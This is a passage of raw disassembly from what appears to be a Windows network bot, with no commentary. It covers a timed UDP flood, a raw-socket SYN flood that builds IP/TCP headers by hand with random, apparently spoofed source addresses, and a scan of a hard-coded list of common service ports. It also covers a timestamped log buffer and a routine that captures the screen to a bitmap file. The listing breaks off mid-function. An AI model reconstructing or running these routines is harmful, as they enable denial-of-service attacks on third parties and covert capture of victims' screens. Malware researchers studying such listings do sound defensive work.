loc_415424 ; --------------------------------------------------------------------------- loc_415416: ; CODE XREF: sub_4151FE+206j lea eax, [ebp+arg_84] push eax ; Str call _atoi pop ecx push eax loc_415424: ; CODE XREF: sub_4151FE+216j call dword_4E4220 ; htons mov word_4E760E, ax call _rand cdq mov ecx, 401h push 408h idiv ecx mov word_4E760C, dx call dword_4E4220 ; htons push 400h ; Size mov word_4E7610, ax call _rand cdq idiv ebx push edx ; Val push offset dword_4E7614 ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4E75F8 push [ebp+var_C] call dword_4E4284 ; sendto cmp eax, 0FFFFFFFFh jz loc_415534 inc [ebp+var_4] call ds:dword_4F63B0 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+Str] push eax ; Str call _atoi cmp ebx, eax pop ecx jbe loc_41532F loc_4154BB: ; CODE XREF: sub_4151FE+124j push [ebp+var_C] call dword_4E42B8 ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+Str] push eax ; Str imul esi, 41Ch call _atoi pop ecx xor edx, edx mov ecx, eax mov eax, esi shr eax, 0Ah div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax push offset asc_44E1E0 ; "-" loc_4154F6: ; CODE XREF: sub_4151FE+34Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h loc_415505: ; CODE XREF: sub_4151FE+39j ; sub_4151FE+94j cmp [ebp+arg_20C], edi jnz short loc_41552D push edi ; int lea eax, [ebp+Dest] push [ebp+arg_208] ; int push eax ; int lea eax, [ebp+arg_184] push eax ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_41552D: ; CODE XREF: sub_4151FE+30Dj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_415534: ; CODE XREF: sub_4151FE+28Bj push [ebp+var_4] push esi call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax push offset unk_44E154 jmp short loc_4154F6 sub_4151FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41554A proc near ; DATA XREF: sub_401CC7+64B3o Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4E4260 ; inet_addr push eax call sub_4156E7 add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_44E244 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4155DF push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_214] ; int call sub_409D6C add esp, 14h loc_4155DF: ; CODE XREF: sub_41554A+73j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_10] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_41554A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155FE proc near ; CODE XREF: sub_4156E7+191p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_415627 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4F6564 ; connect jmp loc_4156E3 ; --------------------------------------------------------------------------- loc_415627: ; CODE XREF: sub_4155FE+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call ds:dword_4F6548 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4E41C8 ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4E4208 ; select test eax, eax jnz short loc_41568B or eax, 0FFFFFFFFh jmp short loc_4156E3 ; --------------------------------------------------------------------------- loc_41568B: ; CODE XREF: sub_4155FE+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415696 loc_415692: ; CODE XREF: sub_4155FE+B8j ; sub_4155FE+DCj mov eax, edi jmp short loc_4156E3 ; --------------------------------------------------------------------------- loc_415696: ; CODE XREF: sub_4155FE+92j lea eax, [ebp+var_10C] push eax push esi call sub_43B892 ; __WSAFDIsSet test eax, eax jnz short loc_4156B8 lea eax, [ebp+var_210] push eax push esi call sub_43B892 ; __WSAFDIsSet test eax, eax jz short loc_415692 loc_4156B8: ; CODE XREF: sub_4155FE+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call ds:dword_4F6530 ; getsockopt cmp eax, edi jz short loc_415692 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_4156E3: ; CODE XREF: sub_4155FE+24j ; sub_4155FE+8Bj ... pop edi pop esi leave retn sub_4155FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156E7 proc near ; CODE XREF: sub_41554A+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], esi call ds:dword_4F6550 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov dword_4E7A88, eax call dword_4E4200 ; setsockopt call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_41582B: ; CODE XREF: sub_4156E7+1BEj mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call dword_4E4220 ; htons push ebx push esi push 2 mov [ebp+var_9A], ax call dword_4E42A0 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_4155FE add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call dword_4E42B8 ; closesocket cmp [ebp+var_8], ebx jnz short loc_41589D mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_41589D: ; CODE XREF: sub_4156E7+1A8j add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_41582B mov esi, offset byte_4E7A8C push offset asc_44E270 ; " " push esi ; Dest call _sprintf mov edi, ds:dword_4F63B0 pop ecx pop ecx call edi ; GetTickCount mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_4158D0: ; CODE XREF: sub_4156E7+23Fj call edi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415928 mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_415901 push eax push esi push offset aSD ; "%s%d " push esi ; Dest mov [ebp+var_10], eax call _sprintf add esp, 10h jmp short loc_41591B ; --------------------------------------------------------------------------- loc_415901: ; CODE XREF: sub_4156E7+203j push 0FFFFh push ebx call sub_419589 pop ecx pop ecx push eax call dword_4E4220 ; htons movzx eax, ax mov [ebp+var_10], eax loc_41591B: ; CODE XREF: sub_4156E7+218j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_4158D0 loc_415928: ; CODE XREF: sub_4156E7+1FAj ; sub_4156E7+46Bj push 28h ; Size push ebx ; Val push offset byte_4E7A28 ; Dst call _memset mov esi, 0FFFFh mov byte_4E7A28, 45h push esi push 400h mov byte_4E7A31, 6 mov byte_4E7A29, 8 call sub_419589 add esp, 14h push eax call dword_4E4220 ; htons push 28h mov word_4E7A2C, ax call dword_4E4220 ; htons or byte_4E7A30, 0FFh cmp dword_4E7A18, ebx mov word_4E7A2A, ax mov word_4E7A2E, bx jnz short loc_415999 push [ebp+arg_0] call sub_415B61 pop ecx jmp short loc_4159A4 ; --------------------------------------------------------------------------- loc_415999: ; CODE XREF: sub_4156E7+2A5j push offset byte_4E73F8 call dword_4E4260 ; inet_addr loc_4159A4: ; CODE XREF: sub_4156E7+2B0j mov dword_4E7A34, eax mov eax, [ebp+arg_0] push 4000h mov dword_4E7A38, eax mov byte_4E7A49, bl call dword_4E4220 ; htons push esi push ebx mov word_4E7A4A, ax call sub_419589 mov edi, eax push esi push ebx shl edi, 8 call sub_419589 add esp, 10h add edi, eax push edi call dword_4E421C ; htonl mov dword_4E7A40, eax mov al, byte_4E7A48 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4E7A48, al mov ax, word ptr [ebp+var_10] mov dword_4E7A44, ebx mov word_4E7A4E, bx mov word_4E7A3E, ax mov dword_4E7A64, edi mov byte_4E7A68, bl mov byte_4E7A69, 6 call dword_4E4220 ; htons mov word_4E7A6A, ax mov ax, word_4E7A3E mov word_4E7A50, 2 mov dword_4E7A54, edi mov word_4E7A52, ax mov [ebp+var_4], ebx jmp short loc_415A5A ; --------------------------------------------------------------------------- loc_415A55: ; CODE XREF: sub_4156E7+445j mov esi, 0FFFFh loc_415A5A: ; CODE XREF: sub_4156E7+36Cj cmp [ebp+var_4], ebx jnz short loc_415A8E push esi push ebx call sub_419589 pop ecx pop ecx push eax call dword_4E4220 ; htons mov word_4E7A3C, ax mov eax, dword_4E7A34 mov dword_4E7A60, eax mov byte_4E7A49, 2 mov dword_4E7A44, ebx jmp short loc_415AAD ; --------------------------------------------------------------------------- loc_415A8E: ; CODE XREF: sub_4156E7+376j push esi push ebx mov byte_4E7A49, 10h call sub_419589 pop ecx pop ecx push eax call dword_4E4220 ; htons movzx eax, ax mov dword_4E7A44, eax loc_415AAD: ; CODE XREF: sub_4156E7+3A5j inc word_4E7A2C inc dword_4E7A40 mov ax, word_4E7A3E push 5 pop ecx mov esi, offset word_4E7A3C mov edi, offset dword_4E7A6C mov word_4E7A32, bx mov word_4E7A4C, bx push 14h rep movsd mov esi, offset byte_4E7A28 mov word_4E7A52, ax push esi call sub_40B002 push 20h push offset dword_4E7A60 mov word_4E7A32, ax call sub_40B002 add esp, 10h mov word_4E7A4C, ax push 10h push offset word_4E7A50 push ebx push 28h push esi push dword_4E7A88 call dword_4E4284 ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_415A55 call ds:dword_4F63B0 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415B57 push [ebp+arg_8] call ds:dword_4F6380 ; Sleep jmp loc_415928 ; --------------------------------------------------------------------------- loc_415B57: ; CODE XREF: sub_4156E7+460j pop edi pop esi mov eax, offset byte_4E7A8C pop ebx leave retn sub_4156E7 endp ; =============== S U B R O U T I N E ======================================= sub_415B61 proc near ; CODE XREF: sub_4156E7+2AAp arg_0 = dword ptr 4 push 0FFFEh push 1 call sub_419589 pop ecx pop ecx mov ecx, [esp+arg_0] shl eax, 10h and ecx, 0FFFFh or eax, ecx retn sub_415B61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415B7F(char *Str2,int) sub_415B7F proc near ; CODE XREF: sub_401CC7+7367p var_4 = dword ptr -4 Str2 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_4563A8 mov edi, 0B8h loc_415B93: ; CODE XREF: sub_415B7F+33j cmp byte ptr [esi], 0 jz short loc_415BB6 push [ebp+Str2] ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_415BB6 inc [ebp+var_4] add esi, edi cmp esi, offset dword_456F28 jl short loc_415B93 jmp short loc_415BF8 ; --------------------------------------------------------------------------- loc_415BB6: ; CODE XREF: sub_415B7F+17j ; sub_415B7F+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi ; Size push 0 ; Val lea ebx, dword_4563A8[esi] push ebx ; Dst call _memset push 17h ; Count push [ebp+Str2] ; Source push ebx ; Dest call _strncpy push 9Fh ; Count lea eax, dword_4563C0[esi] push [ebp+arg_4] ; Source push eax ; Dest call _strncpy add esp, 24h inc dword_440498 pop ebx loc_415BF8: ; CODE XREF: sub_415B7F+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415B7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415BFF(int,char *Str,int) sub_415BFF proc near ; CODE XREF: sub_401CC7+28D2p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset dword_44E27C ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h xor edi, edi mov esi, offset dword_4563A8 loc_415C29: ; CODE XREF: sub_415BFF+72j cmp byte ptr [esi], 0 jz short loc_415C64 lea eax, [esi+18h] push eax push esi push edi push offset aD_ ; "%d. " lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 2Ch loc_415C64: ; CODE XREF: sub_415BFF+2Dj add esi, 0B8h inc edi cmp esi, offset dword_456F28 jl short loc_415C29 pop edi pop esi leave retn sub_415BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C77 proc near ; CODE XREF: WinMain(x,x,x,x)+384p ; WinMain(x,x,x,x)+408p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_4F6438 ; GetLocalTime mov ebx, offset byte_4EBE90 mov edi, 80h mov esi, offset byte_4E7E90 loc_415C99: ; CODE XREF: sub_415C77+3Dj cmp byte ptr [ebx], 0 jz short loc_415CB0 push 7Fh ; Count lea eax, [ebx+80h] push ebx ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_415CB0: ; CODE XREF: sub_415C77+25j sub ebx, edi cmp ebx, esi jge short loc_415C99 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi ; Count push esi ; Dest call __snprintf add esp, 28h pop edi pop esi pop ebx leave retn sub_415C77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415CEB(char *Format,char Args) sub_415CEB proc near ; CODE XREF: sub_4019E7+F7p ; sub_401CC7:loc_408DB7p ... Dest = byte ptr -80h Format = dword ptr 8 Args = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __vsnprintf lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 14h leave retn sub_415CEB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_415D46 push ebx push dword ptr [ebp+10h] push offset dword_44E2C8 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_409D6C add esp, 14h loc_415D46: ; CODE XREF: .text:00415D2Dj cmp [ebp+18h], ebx jz short loc_415D5E push dword ptr [ebp+18h] call _atoi cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_415D5E mov [ebp-8], eax loc_415D5E: ; CODE XREF: .text:00415D49j ; .text:00415D59j mov [ebp+14h], ebx mov esi, offset byte_4E7E90 loc_415D66: ; CODE XREF: .text:00415DAEj mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_415DB0 cmp [esi], bl jz short loc_415D9F cmp [ebp+18h], ebx jz short loc_415D8B cmp [ebp-4], ebx jnz short loc_415D8B push dword ptr [ebp+18h] push esi call sub_418DD7 pop ecx test eax, eax pop ecx jz short loc_415D9F loc_415D8B: ; CODE XREF: .text:00415D75j ; .text:00415D7Aj push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_409D6C add esp, 14h loc_415D9F: ; CODE XREF: .text:00415D70j ; .text:00415D89j inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset byte_4EBE90 jl short loc_415D66 loc_415DB0: ; CODE XREF: .text:00415D6Cj pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_415DB4(int,char *Str,int,int) sub_415DB4 proc near ; CODE XREF: sub_401CC7+27C6p arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset byte_4E7E90 xor ecx, ecx loc_415DBB: ; CODE XREF: sub_415DB4+13j mov [eax], cl add eax, 80h cmp eax, offset byte_4EBE90 jl short loc_415DBB cmp [esp+arg_C], ecx jnz short loc_415DE9 push ecx ; int push [esp+4+arg_8] ; int push offset dword_44E2D4 ; int push [esp+0Ch+Str] ; Str push [esp+10h+arg_0] ; int call sub_409D6C add esp, 14h loc_415DE9: ; CODE XREF: sub_415DB4+19j push offset dword_44E2E8 call sub_415C77 pop ecx retn sub_415DB4 endp ; --------------------------------------------------------------------------- push esi mov esi, offset byte_4E7E90 loc_415DFB: ; CODE XREF: .text:00415E1Cj cmp byte ptr [esi], 0 jz short loc_415E10 push dword ptr [esp+8] push esi call sub_418DD7 pop ecx test eax, eax pop ecx jnz short loc_415E22 loc_415E10: ; CODE XREF: .text:00415DFEj add esi, 80h cmp esi, offset byte_4EBE90 jl short loc_415DFB xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E22: ; CODE XREF: .text:00415E0Ej push 1 pop eax pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E27 proc near ; DATA XREF: sub_401CC7+287Co Dest = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_415E7A push edx ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push offset dword_44E2FC ; int push eax ; Str push [ebp+var_11C] ; int call sub_409D6C add esp, 14h loc_415E7A: ; CODE XREF: sub_415E27+33j cmp [ebp+Str], 0 jz short loc_415E9A lea eax, [ebp+Str] push eax ; Str call _atoi test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_415E9A mov [ebp+var_8], eax loc_415E9A: ; CODE XREF: sub_415E27+5Aj ; sub_415E27+6Ej and [ebp+arg_0], 0 mov esi, offset byte_4E7E90 loc_415EA3: ; CODE XREF: sub_415E27+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_415EFD cmp byte ptr [esi], 0 jz short loc_415EEC cmp [ebp+Str], 0 jz short loc_415ED2 cmp [ebp+var_4], 0 jnz short loc_415ED2 lea eax, [ebp+Str] push eax ; int push esi ; Str call sub_418DD7 pop ecx test eax, eax pop ecx jz short loc_415EEC loc_415ED2: ; CODE XREF: sub_415E27+90j ; sub_415E27+96j push edi ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push esi ; int push eax ; Str push [ebp+var_11C] ; int call sub_409D6C add esp, 14h loc_415EEC: ; CODE XREF: sub_415E27+87j ; sub_415E27+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset byte_4EBE90 jl short loc_415EA3 loc_415EFD: ; CODE XREF: sub_415E27+82j lea eax, [ebp+Dest] push offset asc_44E318 ; "-" push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_415F37 push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+var_118] push eax ; Str push [ebp+var_11C] ; int call sub_409D6C add esp, 14h loc_415F37: ; CODE XREF: sub_415E27+EEj lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_18] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_415E27 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F56 proc near ; CODE XREF: sub_401CC7+74A5p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4E420C ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_41618A push 8 push edi call dword_4E4228 ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call dword_4E4228 ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call dword_4E4228 ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_415FB8 push 18h push edi call dword_4E4228 ; GetDeviceCaps mov ebx, 100h jmp short loc_415FBA ; --------------------------------------------------------------------------- loc_415FB8: ; CODE XREF: sub_415F56+50j xor ebx, ebx loc_415FBA: ; CODE XREF: sub_415F56+60j push edi call dword_4E426C ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_41616F mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4E4264 ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_41617A push eax push [ebp+var_4] call dword_4E40F0 ; SelectObject cmp eax, esi jz loc_41617A cmp eax, 0FFFFFFFFh jz loc_41617A push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4E4268 ; BitBlt test eax, eax jz loc_41617A cmp ebx, esi jz short loc_416077 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4E4144 ; GetDIBColorTable mov ebx, eax loc_416077: ; CODE XREF: sub_415F56+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call ds:dword_4F63F4 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_41615A lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call ds:dword_4F63E8 ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call ds:dword_4F63E8 ; WriteFile cmp ebx, esi jz short loc_41613C lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call ds:dword_4F63E8 ; WriteFile loc_41613C: ; CODE XREF: sub_415F56+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call ds:dword_4F63E8 ; WriteFile push [ebp+arg_0] call ds:dword_4F6370 ; CloseHandle push 1 pop esi loc_41615A: ; CODE XREF: sub_415F56+1A2j push [ebp+var_1C] call dword_4E417C ; DeleteObject push [ebp+var_4] call dword_4E40DC ; DeleteDC mov edi, [ebp+var_20] loc_41616F: ; CODE XREF: sub_415F56+70j push edi call dword_4E40DC ; DeleteDC mov eax, esi jmp short loc_41618C ; --------------------------------------------------------------------------- loc_41617A: ; CODE XREF: sub_415F56+C7j ; sub_415F56+D9j ... push edi call dword_4E40DC ; DeleteDC push [ebp+var_4] call dword_4E40DC ; DeleteDC loc_41618A: ; CODE XREF: sub_415F56+23j xor eax, eax loc_41618C: ; CODE XREF: sub_415F56+222j pop edi pop esi pop ebx leave retn sub_415F56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416191(int,size_t Size,int,int) sub_416191 proc near ; CODE XREF: sub_401CC7+75DBp var_34 = byte ptr -34h var_20 = dword ptr -20h Memory = dword ptr -8 var_4 = dword 